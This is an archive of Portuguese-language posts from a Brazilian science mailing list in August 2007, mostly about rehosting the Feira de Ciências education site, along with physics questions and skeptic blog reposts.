> Algúem da lista sabe (ou podera indicar algum livro, página, etc.)
> como se pode deduzir as transformações de Lorentz sem se utilizar do
> fato de a velocidade da luz ser um invariante em referenciais inerciais?
> Quer dizer, tratar este fato como uma consequência e não como um
> postulado "à priori"?
>
> Desconfio que pelas equações de Maxwell (não pela equação de onda, já
> que daria na mesma se supormos que c'=c e daí deduzirmos as
> transformações), isso seja possível, mas não encontrei algo relacionado.
>
> Se alguém aí souber de algo, por favor, help-me!
>
> abraços,
>
> Ricardo S. Vieira
>
> [As partes desta mensagem que não continham texto foram removidas]
>
>
>



--
Caio Cícero Gomes
www.socrates.if.usp.br/~cgomes


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Site feiradeciencias.com.br - ENCERRAMENTO
FROM: "Esteban Moreno" <estebanlmoreno@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 28/08/2007 17:06

Leo e demais,
sei que podem ser alheios a projetos, mas o MEC está com um edital
muito bom para apoiar a produções multimídias:
<http://portal.mec.gov.br/arquivos/pdf/conteudosdigitais.pdf>

Se alguns ciencialisteiros apoiarem, pode ser uma excelente
oportunidade não só para manter o feira de ciências, como também
equipá-lo com diversos aportes, como criar um próprio provedor para o
imperdível, etc.

Há também ótimos provedores com um preço bem acessível, tais como:
http://www.cgnhost.com/
e
http://www.bysite.com.br/

Seria para mim uma honra colaborar para manter o sítio do Leo.
Abraços,
Esteban.





Em 27/08/07, Robespierre B. Gonçalves
<robespierre.goncalves@gmail.com> escreveu:
>

>
> Já que pagar um serviço parece ser problemárico, achei esta site com
> uma lista de serviços de hopedagem gratuita.
> Acho que vale dar uma olhada e procurar qual se adapta melhor ao
> Feira de Ciências:
>
> http://www.free-webhosts.com/
>
> []s,
> Pierre
> www.piada.net
> www.receitasfaceis.net
> www.technewsbr.com
> www.extremerts.com
>
> --- Em ciencialist@yahoogrupos.com.br, "Eduardo Sardeiro"
> <eduardo@...> escreveu
>
> >
> > Na época do FHC tive vários contatos no MCT. Por sua vez, eles me
> colocaram em contato com várias instituições e me abriram várias
> oportunidades, todas em parceria com alguma universidade.
> >
> > O fato das universidades terem que acompanhar todos os projetos
> podou significativamente todas as iniciativas. Boa parte do trabalho
> técnico tinha que ficar com as universidades. Isso é equivalente ao
> que vc denominou 'ficar com o rabo preso'.
> >
> > Esta questão me levou a criar duas hipóteses:
> >
> > (1) Ou o governo tem receio de que desenvolvamos armas ou
> artefatos equivalentes que possam por em risco a soberania nacional
> (?). Bom, creio que não. Eles querem mesmo é que o poder continue
> como está, mesmo que isso venha a sacrificar idéias revolucionárias.
> >
> > (2) Ou as verbas para as universidades já estão tão comprometidas
> que só resta ao governo empurrar as novas propostas para baixo dos
> Centros de Custos já formados e comprometidos.
> >
> > Esta última hipótese é mais provável, levando-se em conta em que
> ninguém quer prejudicar a ninguém e que todo recurso é escasso.
> >
> > Em um governo democrático, deveríamos ao menos ter acesso e
> direito a participar das decisões no Congresso para decidir o uso
> das verbas para as Ciências e Tecnologias.
> >
> > Eu, por exemplo, apoiaria a disponibilização de verbas para idéias
> de divulgação científica de qualquer âmbito, mesmo sem o
> acompanhamento dos devidos órgãos e desde que provado a eficácia e
> eficiência. É este o caso do site da Feira de Ciências.
> >
> > Abrs,
> >
> > Sardeiro
> >
> >
> > ----- Original Message -----
> > From: Luis Brudna
> > To: ciencialist@yahoogrupos.com.br
> > Sent: Monday, August 27, 2007 3:55 PM
> > Subject: Re: [ciencialist] Re: Site feiradeciencias.com.br -
> ENCERRAMENTO
> >
> >
> > Certa vez tentei contato com o MCT para saber se existia algum
> > incentivo para sites sobre ciencia. Provavelmente minha tatica de
> > perguntas e negociacao nao foi das melhores. Soh vi enrolacoes e
> > desculpas.
> > Afirmaram estar jah com um projeto em andamento e que o tal site
> deles
> > sairia em poucos meses. Isso tem mais de 2 anos. Ateh agora nao
> vi
> > nenhum portal do MCT com o prometido.
> >
> > Talvez tentando conseguir verbas de projetos jah em andamento.
> Mas
> > isso tambem envolvem compromissos e ter o rabo preso.Tendo de dar
> > satisfacao de tudo.
> >
> > Ateh
> > Luis Brudna
> >
>
> > On 8/27/07, Eduardo Sardeiro <eduardo@...> wrote:
> > >
> > >
> > > Prezado Prof. Leo e demais participantes do CienciaList,
> > >
> > > Tenho estado absorto nas minhas pesquisas sobre a TOM (Teoria
> Ondulatória da Matéria) e na construção de aparatos demonstrativos.
> > >
> > > Prometi a mim mesmo que só voltaria aos diálogos depois de
> fazer os ajustes finais na teoria, de forma que pudesse expô-la
> indubitavelmente.
> > >
> > > Contudo venho acompanhando os tópicos via e-mails, ainda que
> alguns tenham sido de forma superficial. Especificamente, este
> tópico sobre o Encerramento do site Feira de Ciências me fez ficar
> alarmado.
> > >
> > > Em um país onde a cultura puramente científica é pouco
> fomentada e apoiada pelo governo, um site como o Feira de Ciências é
> um oásis e não deve jamais terminar. Essa idéia é um verdadeiro
> absurdo!
> > >
> > > Existem argumentos mais do que suficientes para que já
> houvesse o apoio governamental no seu site, principalmente da
> FAPESP. Se isto ainda não ocorreu, deve ser por falta de diálogos
> com o Ministério das Ciências e Tecnologia que vive esperando as
> iniciativas cairem do céu!
> > >
> > > Particularmente o Feira de Ciências tem me servido como
> referência em vários aspectos. Se eu puder auxiliar em alguma coisa,
> conte comigo.
> > >
> > > Um forte abraço,
> > >
> > > Eduardo Sardeiro
> > >
> >
> >
> >
> >
> >
> > ----------------------------------------------------------
> -----------
> > Esta mensagem foi verificada pelo E-mail Protegido Terra.
> > Scan engine: McAfee VirusScan / Atualizado em 27/08/2007 /
> Versão: 5.1.00/5106
> > Proteja o seu e-mail Terra: http://mail.terra.com.br/
> >
> >
> > [As partes desta mensagem que não continham texto foram removidas]
> >
>
>
>
>
>


SUBJECT: Re: [ciencialist] Re: Site feiradeciencias.com.br - ENCERRAMENTO
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 28/08/2007 18:33

Olá Esteban,

agradeço a participação e opção de colaboração.
Estou tentando com o Maurício (mUKA), apresentado pelo Takata, re-abrir o Imperdível no provedor que ele administra. Estamos tendo alguns problemas (o que era de se esperar!) mas espero que se resolva nos próximos dias. Só não sei exatamente quanto será a cobrança ($) --- talvez isso se defina após verificar o tráfego depois de estabilizado, tudo funcionando ---.
Ainda não consegui entrar lá, via FTP, para providenciar ajustes necessários, por isso está tudo parado.
Continuo na expectativa.

aquele abraço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Esteban Moreno" <estebanlmoreno@gmail.com>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: terça-feira, 28 de agosto de 2007 17:06
Assunto: [ciencialist] Re: Site feiradeciencias.com.br - ENCERRAMENTO


Leo e demais,
sei que podem ser alheios a projetos, mas o MEC está com um edital
muito bom para apoiar a produções multimídias:
<http://portal.mec.gov.br/arquivos/pdf/conteudosdigitais.pdf>

Se alguns ciencialisteiros apoiarem, pode ser uma excelente
oportunidade não só para manter o feira de ciências, como também
equipá-lo com diversos aportes, como criar um próprio provedor para o
imperdível, etc.

Há também ótimos provedores com um preço bem acessível, tais como:
http://www.cgnhost.com/
e
http://www.bysite.com.br/

Seria para mim uma honra colaborar para manter o sítio do Leo.
Abraços,
Esteban.





Em 27/08/07, Robespierre B. Gonçalves
<robespierre.goncalves@gmail.com> escreveu:
>

>
> Já que pagar um serviço parece ser problemárico, achei esta site com
> uma lista de serviços de hopedagem gratuita.
> Acho que vale dar uma olhada e procurar qual se adapta melhor ao
> Feira de Ciências:
>
> http://www.free-webhosts.com/
>
> []s,
> Pierre
> www.piada.net
> www.receitasfaceis.net
> www.technewsbr.com
> www.extremerts.com
>
> --- Em ciencialist@yahoogrupos.com.br, "Eduardo Sardeiro"
> <eduardo@...> escreveu
>
> >
> > Na época do FHC tive vários contatos no MCT. Por sua vez, eles me
> colocaram em contato com várias instituições e me abriram várias
> oportunidades, todas em parceria com alguma universidade.
> >
> > O fato das universidades terem que acompanhar todos os projetos
> podou significativamente todas as iniciativas. Boa parte do trabalho
> técnico tinha que ficar com as universidades. Isso é equivalente ao
> que vc denominou 'ficar com o rabo preso'.
> >
> > Esta questão me levou a criar duas hipóteses:
> >
> > (1) Ou o governo tem receio de que desenvolvamos armas ou
> artefatos equivalentes que possam por em risco a soberania nacional
> (?). Bom, creio que não. Eles querem mesmo é que o poder continue
> como está, mesmo que isso venha a sacrificar idéias revolucionárias.
> >
> > (2) Ou as verbas para as universidades já estão tão comprometidas
> que só resta ao governo empurrar as novas propostas para baixo dos
> Centros de Custos já formados e comprometidos.
> >
> > Esta última hipótese é mais provável, levando-se em conta em que
> ninguém quer prejudicar a ninguém e que todo recurso é escasso.
> >
> > Em um governo democrático, deveríamos ao menos ter acesso e
> direito a participar das decisões no Congresso para decidir o uso
> das verbas para as Ciências e Tecnologias.
> >
> > Eu, por exemplo, apoiaria a disponibilização de verbas para idéias
> de divulgação científica de qualquer âmbito, mesmo sem o
> acompanhamento dos devidos órgãos e desde que provado a eficácia e
> eficiência. É este o caso do site da Feira de Ciências.
> >
> > Abrs,
> >
> > Sardeiro
> >
> >
> > ----- Original Message -----
> > From: Luis Brudna
> > To: ciencialist@yahoogrupos.com.br
> > Sent: Monday, August 27, 2007 3:55 PM
> > Subject: Re: [ciencialist] Re: Site feiradeciencias.com.br -
> ENCERRAMENTO
> >
> >
> > Certa vez tentei contato com o MCT para saber se existia algum
> > incentivo para sites sobre ciencia. Provavelmente minha tatica de
> > perguntas e negociacao nao foi das melhores. Soh vi enrolacoes e
> > desculpas.
> > Afirmaram estar jah com um projeto em andamento e que o tal site
> deles
> > sairia em poucos meses. Isso tem mais de 2 anos. Ateh agora nao
> vi
> > nenhum portal do MCT com o prometido.
> >
> > Talvez tentando conseguir verbas de projetos jah em andamento.
> Mas
> > isso tambem envolvem compromissos e ter o rabo preso.Tendo de dar
> > satisfacao de tudo.
> >
> > Ateh
> > Luis Brudna
> >
>
> > On 8/27/07, Eduardo Sardeiro <eduardo@...> wrote:
> > >
> > >
> > > Prezado Prof. Leo e demais participantes do CienciaList,
> > >
> > > Tenho estado absorto nas minhas pesquisas sobre a TOM (Teoria
> Ondulatória da Matéria) e na construção de aparatos demonstrativos.
> > >
> > > Prometi a mim mesmo que só voltaria aos diálogos depois de
> fazer os ajustes finais na teoria, de forma que pudesse expô-la
> indubitavelmente.
> > >
> > > Contudo venho acompanhando os tópicos via e-mails, ainda que
> alguns tenham sido de forma superficial. Especificamente, este
> tópico sobre o Encerramento do site Feira de Ciências me fez ficar
> alarmado.
> > >
> > > Em um país onde a cultura puramente científica é pouco
> fomentada e apoiada pelo governo, um site como o Feira de Ciências é
> um oásis e não deve jamais terminar. Essa idéia é um verdadeiro
> absurdo!
> > >
> > > Existem argumentos mais do que suficientes para que já
> houvesse o apoio governamental no seu site, principalmente da
> FAPESP. Se isto ainda não ocorreu, deve ser por falta de diálogos
> com o Ministério das Ciências e Tecnologia que vive esperando as
> iniciativas cairem do céu!
> > >
> > > Particularmente o Feira de Ciências tem me servido como
> referência em vários aspectos. Se eu puder auxiliar em alguma coisa,
> conte comigo.
> > >
> > > Um forte abraço,
> > >
> > > Eduardo Sardeiro
> > >
> >
> >
> >
> >
> >
> > ----------------------------------------------------------
> -----------
> > Esta mensagem foi verificada pelo E-mail Protegido Terra.
> > Scan engine: McAfee VirusScan / Atualizado em 27/08/2007 /
> Versão: 5.1.00/5106
> > Proteja o seu e-mail Terra: http://mail.terra.com.br/
> >
> >
> > [As partes desta mensagem que não continham texto foram removidas]
> >
>
>
>
>
>


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Página de apoio
http://www.ciencialist.com


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Links do Yahoo! Grupos




--
No virus found in this incoming message.
Checked by AVG Free Edition.
Version: 7.5.484 / Virus Database: 269.12.9/975 - Release Date: 26/08/2007 21:34




SUBJECT: RE: [ciencialist] Re: DOUTOR CONSULFONE
FROM: murilo filo <avalanchedrive@hotmail.com>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 28/08/2007 21:39


com isso?
quiz dizer q/vcs sumiram c/a msg do homem... nada demais, só que ele é um visitante... ou será que já está em desgraça? m.

[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Globos de Plasma Profissionais
FROM: "matheuslps" <the_nightcrawler_best@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 28/08/2007 21:53

O pessoal, alguem sabe me dizer qual tipo de circuito os globos de
plasma profissionais usam? não acredito q seja usando um flyback, pois
normalmente eles sao pequenos. Estou perguntando porq achei muito
interessante esse assunto, dá pra fazer muitas coisas!!! Se alguem
souber onde posso achat tais informaçoes.. ja procurei em varios
buscadores... mas nao encontrei nada.. Ahhhh o meu globo de plasma
funcionava a todo vapor com o uso do flyback... fiz um bocado de coisas
com ele... mas queria algo mais comercial sabe...


Ahhh prof Léo, mandei um e-mail para o departamento de infomatica ki da
minha universidade perguntando se eles podem te ajudar hospedando o
site... porq é de muita utilidade as informações que estão lá...

Valew Matheus Lopes




SUBJECT: [RN] Matemática prova perfeição de Jessica Alba
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 28/08/2007 22:13

http://g1.globo.com/Noticias/Ciencia/0,,MUL95237-5603-348,00.html
---------------------
Bem, eles se esqueceram apenas do fator Bilateral Undulating NonDairy
Appendices. Mas concordo no geral.

[]s,

Roberto Takata



SUBJECT: Re: DOUTOR CONSULFONE
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 28/08/2007 22:28

O cara está ou não pedindo para ser expulso? Mais uma dessas e vc,
Murilo Filo, será cortado da lista.

Não sabe de nada e vai acusando as pessoas (o q tb não é nenhuma
novidade, portanto nenhuma surpresa). Vc não merece, mas vai a
explicação para as pessoas sensatas da lista:

NÃO editamos mensagens nesta lista. Aprovamos ou rejeitamos mensagens.
Se rejeitamos, em muitos casos indicamos ao autor da mensagem o motivo
(embora nem sempre - por exemplo, qdo consideramos q o autor da
mensagem sabe por q a mensagem foi rejeitada - particularmente por
infringir as normas de postagem). Se eventualmente editarmos uma
mensagem, primeiramente será avisado que houve edição, em segundo
lugar, não seremos idiotas de apagar toda a mensagem e deixar apenas a
assinatura de rodapé do autor e deixar passar para a lista.

O q aconteceu no caso foi q a mensagem deve ter vindo em formato q não
puro texto - alguns editores de email enviam mensagens como html
anexado ou em forma de figuras. O Yahoo!Groups e a configuração da
lista *automaticamente* eliminam anexos e partes q não são textos
puros e inclui a mensagem *automática*: "[As partes desta mensagem que
não continham texto foram removidas]".

[]s,

Roberto Takata

--- Em ciencialist@yahoogrupos.com.br, murilo filo
<avalanchedrive@...> > com isso?
> quiz dizer q/vcs sumiram c/a msg do homem... nada demais, só que ele
é um visitante... ou será que já está em desgraça? m.
>
> [As partes desta mensagem que não continham texto foram removidas]
>




SUBJECT: Mimas, a Estrela da Morte… não, o satélite de Saturno
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, exobiologia_e_cia@yahoogrupos.com.br, painelovni@yahoogrupos.com.br, UFO_PORTUGAL@yahoogrupos.com.br, ufoburn@yahoogrupos.com.br, Ufolista@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 29/08/2007 07:16

Mimas, a Estrela da Morte� n�o, o sat�lite de
Saturno<http://100nexos.com/arquivo/258><http://100nexos.com/arquivo/258#respond>

<http://photojournal.jpl.nasa.gov/catalog/PIA07639>
Clique na imagem para conferir a vers�o original da imagem, tomada pela
Cassini. A semelhan�a do sat�lite de Saturno
Mimas<http://pt.wikipedia.org/wiki/Mimas_%28sat%C3%A9lite%29>com a
Estrela da Morte de Star Wars � devida a uma enorme cratera produzida
por um impacto que por pouco n�o o destruiu � j� n�o � novidade, mas esse
retrato com um dos an�is ao fundo � fenomenal. via
Neatorama<http://www.neatorama.com/2007/08/22/space-imitates-star-wars/>
.

*Veja tamb�m:*
Tela Azul da Morte <http://100nexos.com/arquivo/50> Pressione Ctrl + Alt +
Del....
Ambi��o Perigosa: A Morte de Xuxa <http://100nexos.com/arquivo/138>...
Ser religioso � muito mais dif�cil que ser
ateu?<http://100nexos.com/arquivo/103>Pedro
Sette C�mara comenta em seu blog como ...
Gizmo � Imperd�vel <http://100nexos.com/arquivo/139> "Gizmo" � uma
compila��o fa...
O dedo m�dio de Galileu <http://100nexos.com/arquivo/210> "� uma grande
ironia, esse dedo. Venerado,...


[As partes desta mensagem que n�o continham texto foram removidas]



SUBJECT: O Bat-Avion de Ader
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 29/08/2007 07:17

O Bat-Avion de Ader <http://100nexos.com/arquivo/261>

<http://www.ctie.monash.edu.au/hargrave/ader.html>
Não sei se é porque os livros que li eram pobres, mas entre os muitos
desenhos e algumas imagens das primeiras tentativas de vôo, nunca encontrei
uma fotografia de um dos mais curiosos: o Avion do francês Clement Ader.
Acima você vê uma imagem do dito cujo, e clicando vai a uma página com
muitas outras fotografias.
Com um estilo fascinante, inspirado em um morcego, o Avion III de Ader
construído em 1897 podia dobrar suas asas completamente. Infelizmente,
movido apenas por motores a vapor, é improvável que o avião tenha de fato
voado, apesar de certa polêmica neste sentido.


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Levitar é possível! Pergunte-me como!
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, exobiologia_e_cia@yahoogrupos.com.br, painelovni@yahoogrupos.com.br, UFO_PORTUGAL@yahoogrupos.com.br, ufoburn@yahoogrupos.com.br, Ufolista@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 29/08/2007 07:18

Levitar é possível! Pergunte-me
como!<http://www.ceticismoaberto.com/news/?p=959>

Assista ao vídeo <http://www.ceticismoaberto.com/news/?p=959>

Na terrível distopia de "1984″, o anti-herói Winston é doutrinado sobre a
filosofia Ingsoc, segundo a qual através do
duplipensar<http://pt.wikipedia.org/wiki/Duplipensar>
*tudo é possível*. Se eu digo que estou levitando, e realmente acredito
estar levitando, assim como você e todos os seres humanos acreditarem,
aplicando o duplipensar… eu estarei levitando. Ainda que não esteja.
De forma bizarra, essa filosofia descrita por Orwell em 1948 — um inglês que
nasceu na Índia — é aplicada diariamente por seguidores da Meditação
Transcendental <http://en.wikipedia.org/wiki/Transcendental_Meditation> e
afins. Eles praticam o chamado "vôo yóguico" (yogic flying), que nada mais é
do que ficar saltitando por aí. Mas seus praticantes e promoteres acreditam
que isso é realmente levitar.
E isso não é tudo. O líder do culto japonês Aum, Shoko Asahara, resposnável
pelo ataque terrorista ao metrô de Tóquio em 1995, tornou-se notório através
de uma fotografia em que "levitava" dessa
forma<http://www.neatorama.com/2007/08/01/amazing-levitation-of-a-cult-leader/>
.
Veja também

- <$BlogItemSubject$>
<http://www.ceticismoaberto.com/news/?p=513>Levitação "Sabemos que
monges do leste asiático são capazes de fazer ...
- Bitaites <http://www.ceticismoaberto.com/news/?p=827>O blog
português Bitatites publicou uma resenha tão elogiosa d...
- Quadro 352? <http://www.ceticismoaberto.com/news/?p=705> O
criptozoologista Loren Coleman pergunta: Já notou um tema recorr...
- Janelas ao abismo: cavernas
marcianas<http://www.ceticismoaberto.com/news/?p=895>O buraco acima é
uma de sete possíveis entradas a cavernas s...
- Chico Xavier,
plagiador?<http://www.ceticismoaberto.com/news/?p=960>O novo sítio
"Obras Psicografadas", conduzido pelo espírita ...

Postado em Ceticismo <http://www.ceticismoaberto.com/news/?cat=12>,
Parapsicologia <http://www.ceticismoaberto.com/news/?cat=8>,
Personalidades<http://www.ceticismoaberto.com/news/?cat=5>,
Fortianismo <http://www.ceticismoaberto.com/news/?cat=4> | Por Mori Comente!
» <http://www.ceticismoaberto.com/news/?p=959#respond>


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Chico Xavier, plagiador?
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 29/08/2007 07:21

Chico Xavier, plagiador? <http://www.ceticismoaberto.com/news/?p=960>
<http://obraspsicografadas.haaan.com/>

O novo sítio "Obras Psicografadas <http://obraspsicografadas.haaan.com/>",
conduzido pelo espírita Vitor Moura, tem como objetivo "analisar
cientificamente livros ou mensagens ditos 'psicografados', apontando erros e
acertos à luz da Ciência atual. Também busca analisar possíveis fontes de
informação em que o médium teria se baseado para escrever a obra,
possibilidades de plágio (fraude), de 'plágio inconsciente' (também
conhecido como criptomnésia), e mesmo a possível ocorrência de um genuíno
fenômeno paranormal".
Já há três análises comparando obras de Chico Xavier com publicações
anteriores de outros autores. As similaridades são claras, embora Moura
enfatize sempre a cautela em acusar o suposto médium de fraude consciente.
Em um exemplo<http://obraspsicografadas.haaan.com/2007/livro-boa-nova-1941-de-chico-xavier/>,
Moura menciona como Xavier em certa passagem menciona o próprio livro do
qual diversas passagens foram reproduzidas, sem atribuição. "Um plagiador
que cita a fonte do qual cometeu o plágio não seria muito inteligente",
argumenta. Para Moura, a
criptoamnésia<http://brazil.skepdic.com/criptoamnesia.html>seria uma
explicação mais apropriada. A entrada
sobre criptoamnésia na Wikipedia, em
inglês<http://en.wikipedia.org/wiki/Cryptomnesia>,
cita casos em que autores, supostamente de forma inconsciente, reproduziram
quase textualmente obras alheias, imaginando serem de sua autoria.
Plágio ou criptoamnésia, tais exemplos indicam fortemente que o fenômeno
literário de Chico Xavier é algo muito mais mundano do que a religião que
conduziu gostaria. O que todavia dificilmente abalará qualquer crença: o
espiritismo, com justificativas *ad hoc* como espíritos brincalhões,
incluindo espíritos que poderiam plagiar ou mesmo sofrer de criptoamnésia, é
irrefutável. Por isso mesmo não é uma ciência, mas religião.


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: FDC - Leo
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <muka@muka.org>, "RMT_Takata" <rmtakata@cheerful.com>
DATE: 29/08/2007 09:41

Olá Maurício,

estive vendo alguns locais que linkam para o Feira de Ciências; desisti após as 10 primeiras páginas de indicações --- são centenas de locais que citam meus experimentos e apontam os links. Todos eles têm sufixo "asp".

Só no "Scite" (por exemplo, http://www.scite.pro.br/tudo/busca.php?key=termologia&midia=exp) tem mais de 500 indicações de meu site. No portal "Canal da Ciência" http://www.canalciencia.ibict.br/links/links.php?buscar_todos=Sim&links=12 os glossários de ciência do Feira ocupam lugares privilegiados, etc.

Se utilizarmos do sufixo "html" perderemos bons milhares de consulentes por dia --- se tirarmos o Feira de Ciências do ar, perderemos esses milhares e todos os outros por algum tempo, mas não permanentemente. Assim, fico num impasse 'transsexual' :-)

Se os arquivos puderem ficam, no novo local de armazenamento, com sufixo 'asp', preciso de comunicação via ftp para substituir os arquivos que lá estão (com sufixo html), antes de fazer a transferência dos DNS(s) para o novo provedor.

Fico no aguardo dessa conclusão 'superurgente' pois, caso contrário, deverei partir para novas buscas de provedores que comportem a plataforma 'asp' (mesmo que, no fundo, esse asp seja = html).

aquele abraço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================


SUBJECT: O novo google earth
FROM: "Esteban Moreno" <estebanlmoreno@gmail.com>
TO:
DATE: 29/08/2007 15:39

Maravilhoso!

Uma resenha consta em:
http://baixaki.ig.com.br/download/Google-Earth.htm


SUBJECT: RES: [ciencialist] O novo google earth
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 30/08/2007 02:32

Olá Esteban,



Em meu PC, está aparecendo as seguintes mensagens, na abertura(mas, um click
em ignorar, vai à etapa seguinte):



“Não foi possivel carregar a imagem



Stream0-0 “



“Falha na busca de ScreenOverlay(Stream0-0)”



Você poderia informar o que está faltando na minha instalação?



Já reinstalei e fiz a atualização. A falha acima permanece.



Grato por qualquer informação.



Victor.



De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de Esteban Moreno
Enviada em: quarta-feira, 29 de agosto de 2007 15:39
Para: undisclosed-recipients:
Assunto: [ciencialist] O novo google earth



Maravilhoso!

Uma resenha consta em:
http://baixaki.ig.com.br/download/Google-Earth.htm





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Videocast sintetizado: O Triângulo das Bermudas
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, exobiologia_e_cia@yahoogrupos.com.br, painelovni@yahoogrupos.com.br, UFO_PORTUGAL@yahoogrupos.com.br, Ufolista@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 30/08/2007 12:48

Videocast sintetizado: O Triângulo das
Bermudas<http://www.ceticismoaberto.com/news/?p=961>
[image: Triângulo das Bermudas] <http://www.ceticismoaberto.com/news/?p=961>
Assista ao vídeo <http://www.ceticismoaberto.com/news/?p=961>

Baseado no artigo "O Triângulo das
Bermudas<http://www.projetoockham.org/misterios_bermudas_1.html>",
no *Projeto Ockham*, e dando continuidade ao projeto mencionado há
pouco<http://www.ceticismoaberto.com/news/?p=956>
.


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Mimas, a Estrela da Morte… não, o satélite de Saturno
FROM: César A. K. Grossmann <cesarakg@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 30/08/2007 15:17

--- Em ciencialist@yahoogrupos.com.br, "Kentaro Mori"
<kentaro.mori@...> escreveu
>
> Mimas, a Estrela da Morte… não, o satélite de
> Saturno <http://100nexos.com/arquivo/258>

Sou só eu que tem uma imaginação doentia, ou é aquele o olho cego de
Deus, que foi arrancado da face dele e está lá, flutuando, seco? Eu
não sei por quê, mas isto me lembrou aquela corrente dos crentes
mandando links para a foto da nebulosa Helix e dizendo que era o olho
de Deus olhando para nós, e de uma lembrança foi para uma idéia...

[]s
--



SUBJECT: Re: FDC - Leo
FROM: César A. K. Grossmann <cesarakg@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 30/08/2007 15:34

--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
<leobarretos@...> escreveu
>
> Se utilizarmos do sufixo "html" perderemos bons milhares de
consulentes por dia --- se tirarmos o Feira de Ciências do ar,
perderemos esses milhares e todos os outros por algum tempo, mas não
permanentemente. Assim, fico num impasse 'transsexual' :-)

Não necessariamente. Um bom administrador de hospedagem de páginas
deve conseguir programar o programa que hospeda as páginas para
aceitar os pedidos de páginas com extensão ".asp" e converter
automaticamente para ".html", desde que esta seja a única mudança. Se
houverem mais mudanças, provavelmente deve ser possível fazer a
reescrita da solicitação, mas é questão de verificar qual o programa
que o servidor está usando, e se eles oferecem este tipo de serviço.

[]s
--



SUBJECT: Re: [ciencialist] Re: FDC - Leo
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 30/08/2007 18:07

Olá César,

O mUKA, que está tentando 'adotar' o Feira, não tem plataforma 'asp'. Na verdade, o site todo é na base do html, apenas uma instrução 'asp' é usada (e é a 'chave' do pouco espaço usado pelo armazenamento do site).
Então, o problema não é exatamente o sufixo 'asp' e sim a tag 'include' (que é 'filho' do Takata).
Vou tentar expor e, quem sabe, vc enxerga uma saída homérica:

Todas as páginas 'index?.asp (? é o número da sala) é montada na hora que o consulente a chama, através de quatro 'includes' que insere no devido local quatro menus; o da coluna da esquerda, o do 'welcome', o da coluna da direita e o menu central da sala. Esses quatro menus estão arquivados na pasta 'menus'.
Se não houvesse essa instrução 'include', cada index (27 salas) teria que armazenar fisicamente os quatro menus.
Além disso, a listagem geral de todos os menus do site, é simplesmente uma sucessão de includes; incluindo cada menu, automaticamente e atualizados.

Cada página interna do site (cerca de 2400) tem no topo os links para as demais salas --- entra via 'include'.

Veja que esse 'include' simplifica um bocado o automatismo dos index, listagem, e páginas.

A 'maquinária' do mUKA (ONIX) tem uma pancada de sufixos php etc. não tem esse 'asp'.

Então, não é exatamente o sufixo 'asp' que atrapalha ........

chegou visita...... continuo depois.........

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "César A. K. Grossmann" <cesarakg@gmail.com>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: quinta-feira, 30 de agosto de 2007 15:34
Assunto: [ciencialist] Re: FDC - Leo


--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
<leobarretos@...> escreveu
>
> Se utilizarmos do sufixo "html" perderemos bons milhares de
consulentes por dia --- se tirarmos o Feira de Ciências do ar,
perderemos esses milhares e todos os outros por algum tempo, mas não
permanentemente. Assim, fico num impasse 'transsexual' :-)

Não necessariamente. Um bom administrador de hospedagem de páginas
deve conseguir programar o programa que hospeda as páginas para
aceitar os pedidos de páginas com extensão ".asp" e converter
automaticamente para ".html", desde que esta seja a única mudança. Se
houverem mais mudanças, provavelmente deve ser possível fazer a
reescrita da solicitação, mas é questão de verificar qual o programa
que o servidor está usando, e se eles oferecem este tipo de serviço.

[]s
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SUBJECT: Res: [ciencialist] Re: Site feiradeciencias.com.br - ENCERRAMENTO
FROM: Aline Santos <haline_santos@yahoo.com.br>
